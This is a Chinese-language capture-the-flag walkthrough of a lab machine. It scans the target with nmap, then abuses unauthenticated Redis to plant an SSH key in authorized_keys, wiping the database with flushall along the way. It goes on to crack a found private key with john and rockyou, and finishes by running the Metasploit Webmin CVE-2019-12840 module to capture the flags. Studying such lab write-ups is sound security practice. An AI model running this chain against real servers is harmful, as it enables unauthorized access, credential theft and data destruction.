还是正常打开靶机,然后使用nmap扫描。看看有什么端口是打开的。扫描结果显示,开启了22,80,6379,10000端口。其中6379端口和10000端口值得注意。
nmap -sV -Pn 10.10.10.160
(这有个非常奇怪的地方,我第一次做的时候namp以及masscan无论如何都扫描不出6379端口,但是直接访问又是可以,感觉很郁闷,直接在第一步卡住了。菜……)
我们分别打开80,10000端口看看。其中80端口就是一个简单的页面。
10000端口打开,是webmin,注意这个地方要采用https的方式
https://10.10.10.160
通过在msf中搜索,能发现webmin还是存在几个可以利用的漏洞的。
当逐个打开看看的时候,发现都需要账号和密码,但是我们又没有,这可咋整。
再转向6379,6379跑的是redis服务,存在未授权访问漏洞,我们试试看能不能登录进去。
telnet 10.10.10.160 6379
好像直接登录进去了,我们再试下是不是真进去了。结果显示真的进去了。
echo "hey"
通过前面的测试,我们能知道redis存在未经授权的访问,我们可以重写SSH公钥实现ssh登录。这个地方插一嘴,为什么ssh公钥可以登录。
ssh一般有两种登录方式,一种是账号密码登录,比如如下这条命令
ssh username@ip
然后就会让你输入密码就登录进去了。
还有一种,是通过ssh公钥进行登录的。这种方法中,先在客户端生成公钥和私钥,然后将自己的公钥存放到服务端,即登录的那台机器上。具体的过程如下:
1.生成密钥对。
2.将公钥信息写入目标用户的密钥验证文件。
3.客户端请求登录。
4.服务器发送一段随机字符串,并使用公钥加密。
5.客户端使用私钥解密,并返回解密后的信息。
6.服务器进行信息对比,如果验证成功,则允许连接。
以上两种方式,具体可参考:https://blog.youkuaiyun.com/lijinshanba/article/details/82116656/。
我们要使用的,就是第二种方式。先在本地生成公钥后上传,然后登录。具体步骤如下:
ssh-keygen -t rsa #-t是指定使用的加密算法
输入以上命令后,直接一直回车即可。
一路回车后,相应生成的文件放在/root/.ssh/id_rsa中,我们读取然后将其输入到文件中
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
在进行下一步之前,我们需要一些redis-cli的基础知识。可参考如下链接:
cn不咯个.com/beginnerzyh/p/15916202.html #记得自己替换blog
通过以下命令登录redis,然后清空所有数据
redis-cli -h 10.10.10.160 flushall
(如果没有redis-cli,你输入后问你下载不下载,直接下载即可,要是下不了,记得apt-get update一下就行了,不过如果你很久没用过这个命令,那么估计要等很久。)
读取上面生成的1.txt然后把其内容写入crackit键中,我感觉这地方键名称你随便设定都行
cat 1.txt | redis-cli -h 10.10.10.160 -x set crackit
登录进靶机的redis,看看刚才的值写进去了没。
redis-cli 10.10.10.160
get crackit
看一下redis持久化存储的目录在哪,所谓的持久化存储,就是将文件写到存储中去了,也就是写到了硬盘中。
config get dir
修改持久化文件存储的位置
config set dir /var/lib/redis/.ssh
设定redis用于文件持久化存储的文件名,然后保存退出。
config set dbfilename "authorized_keys"
save
exit
通过以上的操作,我们将redis用户的公钥写入到了靶机上,我们现在使用ssh登录过去。
ssh -i /root/.ssh/id_rsa redis@10.10.10.160
登录成功。我们看看这个主机上还有没有其他用户。
cat /etc/passwd
有一个matt用户,我们查查这个用户有没有什么好东西我们能使起来的。
find / -type f -user Matt -readable 2>/dev/null
其中存在一个id_rsa.bak,好机会,我们拿下来看能不能破解出matt的密码
先cat读取密码,然后保存到本地,先用ssh2john转换下,然后破解。
cat /opt/id_rsa.bak
python3 /usr/share/john/ssh2john.py /home/kali/Desktop/matt_id_rsa > m_id_rsa
mv m_id_rsa /home/kali/Desktop
cd /home/kali/Desktop
john m_id_rsa --wordlist=/etc/wordlist/rockyou.txt
拿到matt的密码是computer2008
okok,现在我们有matt的账号以及密码,而且前面我们知道webmin需要登录,那么我们登录下试试,发现能登陆成功。
接着回到msf中,我们填上用户名密码,直接开run,拿到flag
search cve-2019-12840
use 0
set RHOSTS 10.10.10.160
set PASSWORD computer2008
set USERNAME Matt
set SSL True
run
另一个flag在matt的家目录下面